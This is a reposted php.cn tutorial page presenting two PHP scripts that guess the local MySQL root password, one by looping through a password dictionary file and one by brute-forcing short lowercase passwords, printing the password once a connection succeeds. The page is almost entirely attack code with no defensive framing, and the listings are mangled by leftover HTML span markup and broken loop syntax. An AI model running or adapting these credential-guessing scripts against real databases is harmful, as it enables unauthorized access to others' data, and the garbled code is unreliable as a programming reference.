php本地猜解MYSQL mysql简介 mysql乱码 mysql优化

WBOY
Freigeben: 2016-07-29 08:53:10
Original
1202 Leute haben es durchsucht

代码笔记
php本地猜解MYSQL-字典文件猜解

<code><span><span></span>
set_time_limit(<span>0</span>); <span>//脚本不超时</span><span>$user</span>=”root”; <span>//用户名</span><span>//$passwd=file(“password.txt”); //密码字典</span><span>//for($i=0;$i<count><span>//$pass=$passwd[$i];</span>
connect(<span>$user</span>,<span>$pass</span>);
flush();
<span>//}</span><span>echo</span> “扫描结束!”;
<span><span>function</span><span>connect</span><span>(<span>$user</span>,<span>$pass</span>)</span> {</span><span>$conn</span>=@mysql_connect(“localhost”,<span>$user</span>,<span>$pass</span>);
<span>if</span>(<span>$conn</span>){
<span>echo</span> “<font color="’<span">#0000FF’><b>得到密码:<font color="’#FF0000′">”.$pass.”</font>!!!</b></font>”;</count></span><span>exit</span>();
}
<span>else</span> {
<span>echo</span><span>$pass</span>.’
‘;
}
}

<span>?></span></span></code>
Nach dem Login kopieren

php本地猜解MYSQL-暴力猜解

<code><textarea rows="<span">25 cols=<span>90</span> id=’t1′>
<span><?php </span>
set_time_limit(<span>0</span>);
<span>$fruit</span>=<span>array</span>
(‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r
‘,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’); <span>//密码组合单个字符</span><span>$mmcd</span>=<span>3</span>;  <span>//密码长度</span><span>$jlcs1</span>=<span>0</span>;
<span>$dishes</span>[]=range(<span>1</span>,<span>$mmcd</span>);
<span>//开始循环</span><span>for</span>(<span>$i</span>=<span>0</span>;<span>$i</span>$mmcd</span>;<span>$i</span>++){
<span>foreach</span>(<span>$dishes</span><span>as</span><span>$k</span>=><span>$v</span>){
<span>foreach</span>(<span>$fruit</span><span>as</span><span>$_fruit</span>){
<span>$v</span>[<span>$i</span>]=<span>$_fruit</span>;
<span>$dishes</span>[]=<span>$v</span>;
<span>unset</span>(<span>$dishes</span>[<span>$k</span>]);
<span>$t</span>=implode(”,<span>$v</span>);
<span>$user</span>=<span>'root'</span>;
<span>$pass</span>=<span>$t</span>;
<span>$conn</span>=@mysql_connect(‘localhost’,<span>$user</span>,<span>$pass</span>);

<span>//每生成800个密码自动删除文本框并创建一个文本框</span><span>$jlcs1</span>=<span>$jlcs1</span>+<span>1</span>;
<span>if</span>(<span>$jlcs1</span>==<span>800</span>){
<span>echo</span> “</textarea>”;
<span>echo</span> “<script language="\”JavaScript\”">
<span>var v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “<textarea rows="<span">25 cols=<span>90</span> id=’t1′>”;
<span>$jlcs1</span>=<span>0</span>;
}

<span>//测试密码</span><span>if</span>(<span>$conn</span>){
<span>echo</span> “<script language="\”JavaScript\”">
<span>var v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “</textarea>”;
<span>echo</span> “<font color="’<span">#0000FF’><b>得到密码: <font>
color=’<span>#FF0000′>”.$pass.”</span></font>! ! ! </b></font>”;<span>exit</span>();
}
<span>else</span> {
<span>echo</span><span>$pass</span>.’ ‘;
}
flush();
}

}
<span>//总循环输出</span><span>echo</span> “”;
<span>echo</span> “<script language="\”JavaScript\”">
<span>var v = document.getElementById(‘t1′);
v.parentNode.removeChild(v);
</script>”;
<span>echo</span> “<textarea rows="<span">25 cols=<span>90</span> id=’t1′>”;
<span>echo</span> ‘扫描’,<span>$i</span>+<span>1</span>,<span>'!'</span>;
}

<span>?></span></textarea></code>
Nach dem Login kopieren
').addClass('pre-numbering').hide(); $(this).addClass('has-numbering').parent().append($numbering); for (i = 1; i ').text(i)); }; $numbering.fadeIn(1700); }); });

以上就介绍了php本地猜解MYSQL,包括了Mysql方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage